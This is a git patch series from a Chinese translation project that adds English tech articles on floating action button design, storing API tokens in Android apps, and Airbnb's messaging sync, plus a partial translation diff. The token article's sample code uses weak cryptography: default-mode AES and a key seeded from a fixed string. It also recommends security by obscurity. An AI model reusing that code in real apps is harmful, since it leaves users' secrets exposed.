+FAB is a natural cue for telling users what to do next. Research by Google shows that, when faced with unfamiliar screen many user rely on FAB to navigate. Thus, FAB is very useful as a signpost of what’s important.
+
+![](https://cdn-images-1.medium.com/max/800/1*NrhEXDLgvSfLoUs24KiY0A.png)
+
+Twitter uses FAB for write a tweet action.
+
+#### Not every screen needs a FAB ####
+
+FABs are colorful, raised, and grid-breaking. It’s very difficult not to spot these buttons, and that’s because they are designed to stand out. But not every screen should use the FAB simply because not every screen has an action of this importance.
+
+> Do not use a FAB at all costs. It’s only for promoted actions!
+
+One good example is [Google Photos app](https://play.google.com/store/apps/details?id=com.google.android.apps.photos&amp;hl=en) for Android. The app opens in a gallery view, which has a floating action button for search. There are two problem with a FAB here:
+
+- Search is an extra action for the majority of users. The primary task is photo browsing. Thus, there’s no need to have this FAB.
+- The presence of a FAB can distract and take up a user’s attention away from the main content (photos).
+
+![](https://cdn-images-1.medium.com/max/800/1*9TQLyWdW0Jo4kjkjQh4BKA.png)
+
+Search is extra action for Google Photos and doesn’t require FAB
+
+**Tip:** Finding the primary action of a screen can be much harder than it first seems. In order to simplify the task and understand whether you need FAB in your UI use a simple *five minutes rule: i*f you struggle for more than 5 minutes searching for what your screen primary action should be, it’s clear that the FAB isn’t required for this view.
+
+### Best Practices for FAB ###
+
+#### Avoid mystery meat navigation ####
+
+The term “Mystery meat navigation” was introduced by Vincent Flanders, a creator of the famous website [Web Pages That Suck.](https://en.wikipedia.org/wiki/Mystery_meat_navigation)  It refers to buttons or links that don’t explain to you what they do. Instead, users have to tap on them to find out.
+
+FAB is an icon-only button and the problem is that [icons are really hard to understand](http://uxmyths.com/post/715009009/myth-icons-enhance-usability) because they’re so open to interpretation. As NNG [points out](https://www.nngroup.com/articles/icon-usability/), universally recognised icons are rare. For example, can you guess what a button in example below does?
+
+![](https://cdn-images-1.medium.com/max/800/1*p6e4Z9F353Fj-U_gSnnzYg.png)
+
+What does FAB means here?
+
+You don’t know for certain until you tap it. And if a user needs to guess, your button is mystery meat. Some may say that the the time it takes to discover what these icons means is quite short and the percieved possible risk very low. Yes, the time it takes to find out what an icon means, by tapping on it, may be quite small. But there is a cognitive load:
+
+> User will have to remember what it means.
+
+Multiply that by all the mystery meat icons in all your apps and that is not small effort.
+
+It’s acceptable to use icons-only buttons but only ifyou make sure they are *context-relevant and* clear for your users. Context is what helps users interpret icon-only buttons and explain the actions. For example, if you have a note taking application it’s quite clear that the main purpose of the app is to take — and view — notes. And a ‘Pen’ icon would be great in this context.
+
+#### Use only one FAB per screen ####
+
+Because FABs are so prominent/intrusive, FAB’s should be used *once on a page or not at all.*
+
+![](https://cdn-images-1.medium.com/max/800/1*ONI398PyIgulggs6TEmg5Q.png)
+
+**Don’t **have more than one floating action button per screen.
+
+#### Use FAB only for positive actions ####
+
+Because the FAB is characteful, it’s generally a positive action, like create, share, explore, and so on. FAB shouldn’t be destructive action, like delete or archive. They shouldn’t be unspecific or alerts, limited actions like cut-and-paste the text, or actions that should be in a toolbar (e.g. changing a volume).
+
+![](https://cdn-images-1.medium.com/max/1000/1*2v9CL54h2AQfp-mMV_O4iQ.png)
+
+The function should be an action that makes user feel positive about using FAB and never worried it’s going to do something wrong. Image credit: Material Design
+
+### FAB and Animation ###
+
+Floating action buttons are designed to be flexible. FAB can expand, morph, and react.
+
+#### Expand into a set of actions ####
+
+In some cases, it is appropriate for the button to spin out and expose a few other options (as seen in the Evernote example below). The FAB can replace itself with a sequence of more specific actions and you can design them to be contextual to your users. But keep in mind that:
+
+- These actions must be related to the primary action the FAB itself expresses and be related to each other: do not treat these revealed actions as independent as they could be if positioned on a toolbar.
+- As a general rule, have at least three options upon press but not more than six, including the original floating action button target.
+
+![](https://cdn-images-1.medium.com/max/800/1*mjNKHpgABoV0gG72hfHMCQ.gif)
+
+A floating action button flinging out related actions.
+
+#### FAB can morph into the new surface ####
+
+FAB is not just a round button, it has some transformative properties that you can use to help ease your users from screen to screen. The floating action button can transform into views that are part of the app structure.
+
+> FAB can improve transitions between screens
+
+When morphing the floating action button, transition between starting and ending positions in a logical way. For examle, the animation in example below maintains the user’s sense of orientation and helps the user comprehend the change that has just happened in the view’s layout, what has triggered the change and how to initiate the change again later on if needed.
+
+![](https://cdn-images-1.medium.com/max/800/1*jSCtVcpUQnYNwxck1Pcp1w.gif)
+
+Image credit: [Ehsan Rahimi](https://dribbble.com/EhsanCinematic) 
+
+#### FAB can be hidden during scrolling ####
+
+FAB can be hidden when scrolling down if it gets in the way (prevents user from reading the content). In example below, the FAB *needs* to be able to move out of the way, so that all parts of all list items are actually reachable.
+
+![](https://cdn-images-1.medium.com/max/800/1*fUdO6yS6KkNX7m-vXuzqWA.gif)
+
+Hide FAB to maximise the viewport area dedicated to the list. Image credit: [Juliane Lehmann](https://lambdasoup.com/post/fab_behavior_sync_appbarlayout/) 
+
+Medium app for Android is a good example of using this technique. The Heart button disappears on scroll and reappears when the end of the article is reached — just when readers who liked the article would have wanted to use the button.
+
+### Conclusion ###
+
+If you’re going to use FAB in your app, the design of the app must be carefully considered and the user’s possible actions must be boiled down to a single most prominent feature. Used correctly, FAB can be an astoundingly helpful pattern for the end-user.
+
+Thank you!
+
+
+---
+
+> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。

From ac44457803919b9ee84882e3c86a9608aaefb2a8 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E6=A0=B9=E5=8F=B7=E4=B8=89?= <sqrtthree@foxmail.com>
Date: Wed, 10 May 2017 21:49:23 +0800
Subject: [PATCH 415/638] Create
 a-follow-up-on-how-to-store-tokens-securely-in-android.md

---
 ...how-to-store-tokens-securely-in-android.md | 179 ++++++++++++++++++
 1 file changed, 179 insertions(+)
 create mode 100644 TODO/a-follow-up-on-how-to-store-tokens-securely-in-android.md

diff --git a/TODO/a-follow-up-on-how-to-store-tokens-securely-in-android.md b/TODO/a-follow-up-on-how-to-store-tokens-securely-in-android.md
new file mode 100644
index 00000000000..a1c2b5e837a
--- /dev/null
+++ b/TODO/a-follow-up-on-how-to-store-tokens-securely-in-android.md
@@ -0,0 +1,179 @@
+> * 原文地址：[A follow-up on how to store tokens securely in Android](https://medium.com/@enriquelopezmanas/a-follow-up-on-how-to-store-tokens-securely-in-android-e84ac5f15f17)
+> * 原文作者：[Enrique López Mañas](https://medium.com/@enriquelopezmanas)
+> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
+> * 译者：
+> * 校对者：
+
+![](https://cdn-images-1.medium.com/max/2000/1*nWjJ7GKUSVEQMC0srKK-9Q.jpeg)
+
+# A follow-up on how to store tokens securely in Android #
+
+As a prologue to this article, I want to remark a short sentence for the notional reader. This quote will be important as we move forward.
+
+> Absolute security does not exist. Security is a set of measures, being piled up and combined, trying to slow down the inevitable.
+
+Almost three years ago, I wrote [a post](http://codetalk.de/?p=86) giving some ideas to protect String tokens from a hypothetical attacker decompiling our Android application. For the sake of remembrance, and in order to ward off the inescapable death of the Internet, I am reproducing some sections here.
+
+One of the most common use cases happens when our application needs to communicate with a web service in order to exchange data. This data exchange can oscillate from a less to a more sensitive nature, and vary between a login request, user data alteration petition, etc.
+
+The absolute first measure to be applied is using a [SSL](http://info.ssl.com/article.aspx?id=10241) (Secure Sockets Layer) connection between the client and the server. Go again to the initial quote. This does not ensure an absolute privacy and security, although it makes a good initial job.
+
+When you are using a SSL connection (like when you see the locker in your browser) it indicates that the connection between you and the server is encrypted. On a theoretical level, nothing can access the information contained within this requests(*)
+
+(*)Did I mention that the absolute security does not exist? SSL connections can still be compromised. This article does not intend to provide an extensive list of all the possible attacks, but I want to let you know of a few possibilities. Fake SSL certificates can be used, as well as Man-in-the-Middle attacks.
+
+Let’s move forward. We are assuming our client is communicating via an encrypted SSL channel with our backend. They are exchanging useful data, making their business, being happy. But we want to provide an additional security layer.
+
+A next logical step used nowadays is to provide an authentication token or API Key to be used in the communication. It works this way. Our backend receives a petition. How do we know the petition comes from one of our verified clients, and not a random dude trying to gain access to our API? The backend will check if the client is providing a valid API Key. If the previous statement happens to be true, then we proceed with the request. Otherwise, we deny it and depending on the nature of our business we take some corrective measures (when this is happening, I particularly like to store the IP and IDs from the client to see how often this occurs. When the frequency is swelling more than it is desirable for my fine taste, I do consider a ban or observing closely what the impolite internet dude is trying to achieve).
+
+Let’s construct our castle from the ground. In our app, we will likely add a variable called API_KEY that gets automatically injected in each request (if you are using Android, probably in your Retrofit client).
+
+```
+private final static String API_KEY = “67a5af7f89ah3katf7m20fdj202”
+```
+
+This is great, and works if we want to authenticate our client. The problem is that does not provide a very effective layer by itself.
+
+If you use [apktool](https://ibotpeaches.github.io/Apktool/)  to decompile the application and perform a search looking for strings, you will find in one of the resulting .smali files the following:
+
+```
+const-string v1, “67a5af7f89ah3katf7m20fdj202”
+```
+
+Yeah, sure. It does not say this is a validation Token, so we still need to go through a meticulous verification to decide how to reach this string and whether it can be used for authentication purposes or not. But you know where I am going: this is mostly a matter of time and resources.
+
+Could Proguard help us to secure this String, so we do not have to worry about it? Not really. Proguard states in [its FAQ](http://proguard.sourceforge.net/FAQ.html#encrypt) that String encryption is not totally possible.
+
+What about saving this String in one of the other mechanisms provided by Android, such as the SharedPreferences? This is barely a good idea. SharedPreferences can be easily accessed from the Emulator or any rooted device. Some years ago a guy called [Srinivas](http://resources.infosecinstitute.com/android-hacking-security-part-9-insecure-local-storage-shared-preferences/) proofed how the scored could be altered in a video-game. We are running out of options here!
+
+#### Native Development Kit (NDK) ####
+
+I am going to refresh here the initial model I proposed, and how we can as well iterate through it to provide a more secure alternative. Let’s image two functions that could serve to encrypt and decrypt our data:
+
+```
+ private static byte[] encrypt(byte[] raw, byte[] clear) throws Exception {
+        SecretKeySpec skeySpec = new SecretKeySpec(raw, "AES");
+        Cipher cipher = Cipher.getInstance("AES");
+        cipher.init(Cipher.ENCRYPT_MODE, skeySpec);
+        byte[] encrypted = cipher.doFinal(clear);
+        return encrypted;
+    }
+
+    private static byte[] decrypt(byte[] raw, byte[] encrypted) throws Exception {
+        SecretKeySpec skeySpec = new SecretKeySpec(raw, "AES");
+        Cipher cipher = Cipher.getInstance("AES");
+        cipher.init(Cipher.DECRYPT_MODE, skeySpec);
+        byte[] decrypted = cipher.doFinal(encrypted);
+        return decrypted;
+    }
+```
+
+Nothing fancy here. These two functions will take a key value and a string to be encoded or decoded. They will return the encrypted or the decrypted token, respectively. We would call the following function as follows:
+
+```
+ByteArrayOutputStream baos = new ByteArrayOutputStream();  
+bm.compress(Bitmap.CompressFormat.PNG, 100, baos); 
+byte[] b = baos.toByteArray();  
+
+byte[] keyStart = "encryption key".getBytes();
+KeyGenerator kgen = KeyGenerator.getInstance("AES");
+SecureRandom sr = SecureRandom.getInstance("SHA1PRNG");
+sr.setSeed(keyStart);
+kgen.init(128, sr); 
+SecretKey skey = kgen.generateKey();
+byte[] key = skey.getEncoded();    
+
+// encrypt
+byte[] encryptedData = encrypt(key,b);
+// decrypt
+byte[] decryptedData = decrypt(key,encryptedData);
+```
+
+Are you guessing the direction? That is right. We could encrypt and decrypt our token on demand. This provides an additional layer of security: when the code gets obfuscated, it is not anymore as straightforward as performing a String search and check the environment surrounding that String. But can you still figure out a problem that needs to be solved?
+
+Can you?
+
+Give it a couple of seconds more if you have not figured it out yet.
+
+Yes, you are right. We have an encryption key that is being also stored as String. This is adding more layers of security by obscurity, but we still have a token on plain text, regardless of whether this token is used for encryption or is the token per-se.
+
+Let’s going to use now the NDK, and keep iterating our security mechanism.
+
+NDK allows us to access a C++ code base from our Android code. As a first approach, let’s take a minute to think what to do. We could have a native C++ function that stores an API Key or whatever sensitive data we are trying to store. This function could later on be called from the code, and no string will be stored in any Java file. This would provide an automatic protection against decompiling techniques.
+
+Our C++ function would look like follows:
+
+```
+Java_com_example_exampleApp_ExampleClass_getSecretKey( JNIEnv* env,
+                                                  jobject thiz )
+{
+    return (*env)->NewStringUTF(env, "mySecretKey".");
+}
+```
+
+It will be called easily in your Java code:
+
+```
+static {
+        System.loadLibrary("library-name");
+    }
+
+public native String getSecretKey();
+```
+
+And the encryption/decryption function will be called as in the next snippet:
+
+```
+byte[] keyStart = getSecretKey().getBytes();
+```
+
+If we know generate an APK, obfuscate it, decompile it and try to access the string contained in the native function getSecretKey(), we will not be able to find it! Victory?
+
+Not really. The NDK code can actually be disassembled and inspected. This is getting tougher, and you are starting to require more advanced tools and techniques. You got rid of 95% of the script kids, but a team with enough resources and motivation will still be able to access the token. Remember this sentence?
+
+> Absolute security does not exist. Security is a set of measures, being piled up and combined, trying to slow down the inevitable.
+
+![](https://cdn-images-1.medium.com/max/800/1*JPErsmBbKjKbFoQYJAoUkg.png)
+
+You can still access in disassembled code String literals!
+[Hex Rays](https://www.hex-rays.com/products/decompiler/), for instance, makes a very good job at decompiling native files. I am sure there are a bunch of tools as well that could deconstruct any native code generated with Android (I am not associated with Hex Rays neither receiving any kind of monetary compensation from them).
+
+So which solution could we use to communicate between a backend and a client without being flagged?
+
+**Generate the key in real time on the device.**
+
+Your device does not need to store any kind of key and deal with all the hassle of protecting a String literal! This is a very old technique used by services such as remote key validation.
+
+1. The client knows a function() that returns a key.
+2. The backend knows the function() implemented in the client
+3. The client generates a key through the function(), and this gets delivered to the server.
+4. The server validates it, and proceeds with the request.
+
+Are you connecting the dots? Instead of having a native function that returns you a string (easily identifiable) why not having a function that returns you the sum of three random prime numbers between 1 and 100? Or a function that takes the current day expressed in unixtime and adds a 1 to each different digit? What about taking some contextual information from the device, such as the amount of memory being used, to provide a higher degree of entropy?
+
+The last paragraph includes a series of ideas, but our hypothetical reader has hopefully taken the main point.
+
+### **Summary** ###
+
+1. Absolute security does not exist.
+2. Combining a set of protecting measures is the key to achieving a high degree of security.
+3. Do not store String literals in your code.
+4. Use the NDK to create a self-generated key.
+
+Remember the first sentence?
+
+> Absolute security does not exist. Security is a set of measures, being piled up and combined, trying to slow down the inevitable.
+
+I want to point once more that your goal is to protect as much as possible your code, without losing perspective that 100% of security is unattainable. But if you are able to protect your code in a way that requires a vast amount of resources to decrypt any sensible information you have, you will be able to sleep well and quiet.
+
+### A small disclaimer ###
+
+I know. You got until here, thinking throughout the entire article “how is this guy not mentioning [Dexguard](https://www.guardsquare.com/en/dexguard) , and going through all the hassle?”. You are right. Dexguard can actually obfuscate Strings, and they do a very good job at it. However, Dexguard pricing [can be prohibitive](http://thinkdiff.net/mobile/dexguard-480-eur-to-10313-eur-the-worst-software-do-not-use/) . I have used Dexguard in previous companies with critical security systems, but this might not be an option for everybody. And, in Software Development as well as in life, the more options you have the richer and more abundant the world gets.
+
+Happy coding!
+
+I write my thoughts about Software Engineering and life in general in my [Twitter account](https://twitter.com/eenriquelopez) . If you have liked this article or it did help you, feel free to share it, ♥ it and/or leave a comment. This is the currency that fuels amateur writers.
+
+---
+
+> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。

From 591791269512dcc1e2fb93f680afda94b5586d0a Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E6=A0=B9=E5=8F=B7=E4=B8=89?= <sqrtthree@foxmail.com>
Date: Wed, 10 May 2017 22:04:00 +0800
Subject: [PATCH 416/638] Create
 messaging-sync-scaling-mobile-messaging-at-airbnb.md

---
 ...sync-scaling-mobile-messaging-at-airbnb.md | 73 +++++++++++++++++++
 1 file changed, 73 insertions(+)
 create mode 100644 TODO/messaging-sync-scaling-mobile-messaging-at-airbnb.md

diff --git a/TODO/messaging-sync-scaling-mobile-messaging-at-airbnb.md b/TODO/messaging-sync-scaling-mobile-messaging-at-airbnb.md
new file mode 100644
index 00000000000..c31e86f996b
--- /dev/null
+++ b/TODO/messaging-sync-scaling-mobile-messaging-at-airbnb.md
@@ -0,0 +1,73 @@
+> * 原文地址：[Messaging Sync — Scaling Mobile Messaging at Airbnb](https://medium.com/airbnb-engineering/messaging-sync-scaling-mobile-messaging-at-airbnb-659142036f06)
+> * 原文作者：[Zhiyao Wang](https://medium.com/@zhiyaowang), [Michelle Leon](https://medium.com/@mkleon) , [Jason Goodman](https://medium.com/@jasonkgoodman) , [Nick Reynolds](https://medium.com/@thenickreynolds) , [Julia Fu](https://medium.com/@chengxiaofu) , [Jeff Hodnett](http://www.jeffhodnett.com/) , [Manuel Deschamps](https://medium.com/@manuel) , [John Pottebaum](https://medium.com/@johnpottebaum), Charlie Jiang
+> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
+> * 译者：
+> * 校对者：
+
+# Messaging Sync — Scaling Mobile Messaging at Airbnb #
+
+![](https://cdn-images-1.medium.com/max/800/1*fZpQ95jk81Ae7tqpkXNIwA.gif)
+
+Old Inbox vs New Inbox with slow network
+
+With more than 100k messages being sent on mobile per hour, messaging is the most engaged with feature on the Airbnb App. However, with the old inbox fetch method on mobile, the inbox was slow to load, suffered from data inconsistency, and required a network connection to read messages. All of this results in a poor experience for hosts and guests using the mobile inbox. In order to make the inbox faster, more reliable, and more consistent, the Hosts and Homes team at Airbnb built Messaging Sync.
+
+The old inbox fetch was implemented similar to a turn-of-the-century webmail client, doing a network fetch for a screenful of information at every user tap. With messaging sync, new messages and thread updates are fetched only when data change, which greatly reduces the number of network requests. This means navigation between the inbox and message thread screens is much faster, hitting the local mobile storage most of the time, instead of issuing a network request with each screen change. Messaging sync also reduces the response size for each network fetch, which results in a 2x improvement in terms of API latency. These user experience gains are magnified in areas with slow networks.
+
+Here’s how Messaging Sync works, broken into 3 scenarios:
+
+**Scenario 1: Full Delta Update**
+
+![](https://cdn-images-1.medium.com/max/800/1*RqXfpzXiZ2nudOrEPA7Dvg.png)
+
+This is the most common scenario:
+
+1. Mobile client calls the sync API with a sequence_id stored locally (e.g. 1490000000), which denotes the last time the client synced with the server.
+2. API server only returns all modified thread objects and new messages after that sequence_id, together with a new sequence_id (e.g. 1491111111).
+3. Mobile client merges those updated threads and messages with its local datastore.
+4. Mobile client also stores the new sequenced_id to be used next time.
+
+**Scenario 2: Initial Sync**
+
+This is when there are too many threads and/or messages updates to return. For example, when a user first downloads the App, the server needs to send 10 thread objects and 30 messages for a full delta sync. The full delta sync response payload would be huge, which would result in longer load times and subpar user experience. Instead, we only return a full screen of threads.
+
+![](https://cdn-images-1.medium.com/max/800/1*0NQo4EQtq4A6ZcD0I-FGCQ.png)
+
+1. Mobile client calls the sync API with a sequence_id stored locally
+2. API server estimates the size of the response for a full delta sync, and decides it’s too big.
+3. API server sends down only the N most recent thread objects without any messages to have the client render at least a full screen of threads in the inbox view.
+4. Client clears its local datastore.
+5. Client stores the most recent thread objects and sequence_id.
+6. When a user opens a thread, the client requests all messages in the thread from the server.
+7. When a user scrolls historically in the inbox, the client sends paginated requests to fetch threads.
+
+**Scenario 3: Threads Removal**
+
+Threads sometimes need to be removed from the mobile App. For example, when a cohost is no longer managing the listing for the host, the server removes the threads between the cohost and the guest. In this case, the API sends down an array of thread ids deleted after last sync.
+
+### Catching Regressions ###
+
+While migrating to the new messaging sync API, there were couple caveats to watch out for:
+
+1. Airbnb’s messaging system is closely integrated with its core booking flow and other product logic. The server needs to listen to all changes that affect the data displayed on the inbox screen. For example, after a trip is finished, the App needs to render a “Leave Review” button in the thread. There are two solutions to this. One is to check the review object in read time to see if it has been modified. The other solution is to subscribe to review object changes and update the notion of when the corresponding thread object is last modified. We chose the second solution as it is much cheaper on read time. However, the challenge is to capture relevant changes for all objects that can affect what’s being rendered on the UI.
+2. Updated threads could be in a different order from the threads stored locally. We need to make sure that after merging the data, the UI is refreshed correctly.
+
+In order to catch any discrepancies between the data returned by the old messaging API and the messaging sync API, a small percentage of mobile Apps run both the old and the new API at the same time to spot check. It logs all attribute values and the thread order returned from the two APIs. This allows us to catch regressions with the new API and iterate quickly. Whenever a bug is caught, the server marks corresponding thread objects as modified so that it would correct the discrepancy in the next sync.
+
+### Conclusions ###
+
+1. Messaging Sync API reduced API request latency by 2x. It also results in a much more stable request duration than the old messaging API (spiky blue line below).
+
+![](https://cdn-images-1.medium.com/max/800/1*SbTsdzUkh9miVCbZScBKCQ.png)
+
+2. Messaging Sync makes it possible for users to read messages under airplane mode and bad network conditions.
+
+After rolling out Messaging Sync together with other messaging improvements, we see more messages are being sent from mobile (+3.8% and +5.3% for Android and iOS), fewer messages are being sent from web (-4.6% and -4.2%). And daily inbox visits are way up (+200% and +96%) as it is now the main screen on the hosting mode. The launch is a big win for our hosting community as messaging is the most used feature by hosts on Airbnb.
+
+*Last but not least, if you are interested in creating a thriving community of engaged hosts who provide amazing hospitality everywhere in the world, the Hosts and Homes engineering team is always* [*looking for talented people to join*](https://www.airbnb.com/careers/departments/engineering)!
+
+![](https://cdn-images-1.medium.com/max/2000/1*XMOMFask2IOSeOQznGLe7Q.png)
+
+---
+
+> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。

From 4a96b887f3bcd93318b4a68e9730b6fba9d6b15c Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?ARX-8=5C=E6=AC=A7=E9=98=B3=E5=A4=8F=E6=98=B1?=
 <catwindboy@hotmail.com>
Date: Wed, 10 May 2017 22:20:27 +0800
Subject: [PATCH 417/638] =?UTF-8?q?2017.5.9=20=E7=BB=83=E4=B9=A0=E5=AE=8C?=
 =?UTF-8?q?=E6=AF=95=E6=8E=92=E7=89=88?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 ...rview-interaction-with-animated-markers.md | 141 ++++++++++++++----
 1 file changed, 108 insertions(+), 33 deletions(-)

diff --git a/TODO/workcation-app-part-3-recyclerview-interaction-with-animated-markers.md b/TODO/workcation-app-part-3-recyclerview-interaction-with-animated-markers.md
index f7adba7d307..09c946f3a99 100644
--- a/TODO/workcation-app-part-3-recyclerview-interaction-with-animated-markers.md
+++ b/TODO/workcation-app-part-3-recyclerview-interaction-with-animated-markers.md
@@ -6,22 +6,25 @@
 
 #  Workcation App – Part 3. RecyclerView interaction with Animated Markers #
 
+#  Workcation App – 第三部分.Animated Markers 与 RecyclerView 的互动 #
+
 Welcome to the second of series of posts about my R&D (Research & Development) project I’ve made a while ago. In this blog posts, I want to share my solutions for problems I encountered during the development of an animation idea you’ll see below.
 
-Part 1: [Fragment’s custom transition
-](https://www.thedroidsonroids.com/?p=5054)
+欢迎阅读本系列文章的第三篇，此系列文章和我前一段时间完成的“研究与开发”项目有关。在文章里，我会针对开发中遇到的动画问题分享一些解决办法。
 
-Part 2: [Animating Markers with MapOverlayLayout](https://www.thedroidsonroids.com/blog/workcation-app-part-2-animating-markers-with-mapoverlaylayout)
+Part 1: [自定义 Fragment  转场](https://github.com/xitu/gold-miner/blob/master/TODO/workcation-app-part-1-fragments-custom-transition.md)
 
-Part 3: [RecyclerView interaction with Animated Markers](https://www.thedroidsonroids.com/blog/workcation-app-part-3-recyclerview-interaction-with-animated-markers/)
- 
-Part 4: [Shared Element Transition with RecyclerView and Scenes](https://www.thedroidsonroids.com/blog/workcation-app-part-4-shared-element-transition-recyclerview-scenes/)
+Part 2: [Animating Markers 与 MapOverlayLayout ](https://github.com/xitu/gold-miner/blob/master/TODO/workcation-app-part-2-animating-markers-with-mapoverlaylayout.md)
+
+Part 3: [RecyclerView interaction 与 Animated Markers](https://github.com/xitu/gold-miner/blob/master/TODO/workcation-app-part-3-recyclerview-interaction-with-animated-markers.md)
+
+Part 4: [Shared Element Transition with RecyclerView and Scenes](https://github.com/xitu/gold-miner/blob/master/TODO/workcation-app-part-4-shared-element-transition-recyclerview-scenes.md)
 
  
 
-Link for project on Github:  [Workcation App](https://github.com/panwrona/Workcation)
+项目的 Git 地址:  [Workcation App](https://github.com/panwrona/Workcation)
 
-Link for animation on Dribbble: [https://dribbble.com/shots/2881299-Workcation-App-Map-Animation](https://dribbble.com/shots/2881299-Workcation-App-Map-Animation)
+动画的 Dribbble 地址: [https://dribbble.com/shots/2881299-Workcation-App-Map-Animation](https://dribbble.com/shots/2881299-Workcation-App-Map-Animation)
 
  
 
@@ -29,37 +32,73 @@ Link for animation on Dribbble: [https://dribbble.com/shots/2881299-Workcation-A
 
 A few months back we’ve had a company meeting, where my friend Paweł Szymankiewicz showed the animation he’d done during his Research & Development. And I loved it. After the meeting, I decided that I will code it. I never knew what I’m going to struggle with…
 
+
+几个月前我们开了一个部门会议，在会议上我的朋友 Paweł Szymankiewicz 给我演示了他在自己的“研究与开发”项目上制作的动画。我非常喜欢这个动画，在开完会以后我准备把用代码实现它。我可没想到到我会摊上啥...
+
+
 ![](https://www.thedroidsonroids.com/wp-content/uploads/2017/02/Bali-App-Animation-3-color-2.gif?x77083)
 
 GIF 1 *“The animation”*
 
+GIF 1 **“动画效果”**
+
 # Let’s start! #
 
+# 开始吧！
+
 As we can see, in the GIF above, there is a lot of going on.
 
+就像上面 GIF 动画展示的，需要做的事情有很多。
+
 1. After clicking on the bottom menu item, we are moving to the next screen, where we can see the map being loaded with some scale/fade animation from the top, RecyclerView items loaded with translation from the bottom, markers added to the map with scale/fade animation.
+
+1. 在点击底部菜单栏最右方的菜单后，我们会跳转到一个新界面。在此界面中，我们可以看到地图通过缩放和渐显的转场动画被加载到屏幕上方，Recycleview 的 item 随着转场动画加载到屏幕下方，地图上的标记点在转场动画执行的同时被添加到地图上。
+
 2. While scrolling the items in RecyclerView, the markers are pulsing to show their position on the map.
+
+
+当滑动底部的 RecycleView item 的时候，地图上的标记会根据 RecycleView item 的顺序（position）闪烁。
 3. After clicking on the item, we are transferred to the next screen, the map is animated below to show the route and start/finish marker. The RecyclerView’s item is transitioned to show some description, bigger picture, trip details and button.
+
+
+在点击一个 item 以后，我们会进入到新界面。在此界面中，地图会显示我们到标记点的路径，同时此 RecyclerView 的item 会通过转场动画展示一些关于此地点的描述，背景图片也会放大，还附有更详细的信息和一个按钮。
+
+
 4. While returning, the transition happens again back to the RecyclerView’s item, all of the markers are shown again, the route disappears.
 
+
+当后退时，详情页通过转场变成普通的 RecycleView Item，所有的地图标记再次显示，同时路径一起消失。 
+
+
 Pretty much. That’s why I’ve decided to show you all of the things in the series of posts. In this article, I will cover how to animate markers with RecyclerView interaction!
 
+就这么多啦，这就是我准备在这一系列文章中向你展示的东西。在本文中，我会解决如何让标记与 RecycleView 产生互动。
+
 # The Problem #
 
+# 需求 
+
 RecyclerView has some native tools for managing its state. We can set ItemAnimator and ItemDecorator to add some nice animations and look for ViewHolders, LayoutManager for managing how views are measured and positioned. We also have listeners for receiving messages of specific condition of the RecyclerView.
 
+RecyclerView 有一些本地工具来管理自身的状态。我们可以设置 ItemAnimator 或者 ItemDecorator 来添加一些不错的动画效果、查找 ViewHolder，设置 LayoutManager 来控制布局的显示方式。我们还有 listener 来监听 RecyclerView 的特殊状态。
+
 As we can see, there is a horizontal RecyclerView with list of CardViews with some details about some places around Bali. While we are scrolling, the corresponding marker is animated with simple scale up/down animation. So how was it implemented? Of course, with some problems 🙂！
 
+如上所示，这是一个横向的 RecyclerView，该 RecycleView 包含一组记录巴厘岛周边详情的 CardViews。当滑动 RecyclerView 的时候，对应的标记要做出闪烁。所以如何实现呢？当然是有一些问题需要解决的 🙂！
+
 ## OnScrollListener ##
 
 OnScrollListener is a class that allows us to *receive messages when a scrolling event has occurred on that RecyclerView (via [documentation](https://developer.android.com/reference/android/support/v7/widget/RecyclerView.OnScrollListener.html))*. This class have *onScrolled* method – it is the key to interact between scroll position and animating markers! This callback method is invoked when scroll occurs. Let’s look at it:
 
+OnScrollListener 是一个允许我们**在 RecyclerView 的滑动事件被触发时接收回调的类(参见[此处](https://developer.android.com/reference/android/support/v7/widget/RecyclerView.OnScrollListener.html))**。该类有 **onScrolled** 方法 —— 这是联系滚动位置（position）和标记的关键。该回调方法监听滚动事件。让我们看一看它长啥样：
+
+
  
 ```
 Java
     @Override
 
-    publicvoidonScrolled(finalRecyclerView recyclerView,finalintdx,finalintdy){
+    public void onScrolled(final RecyclerView recyclerView,final int dx,final int dy){
 
         super.onScrolled(recyclerView,dx,dy);
 
@@ -68,40 +107,56 @@ Java
  
 As we can see, there is a RecyclerView passed as an argument, also dx and dy. “dx” is the amount of horizontal scroll, “dy” is the amount of vertical scroll. In our case we are interested in recyclerView argument.
 
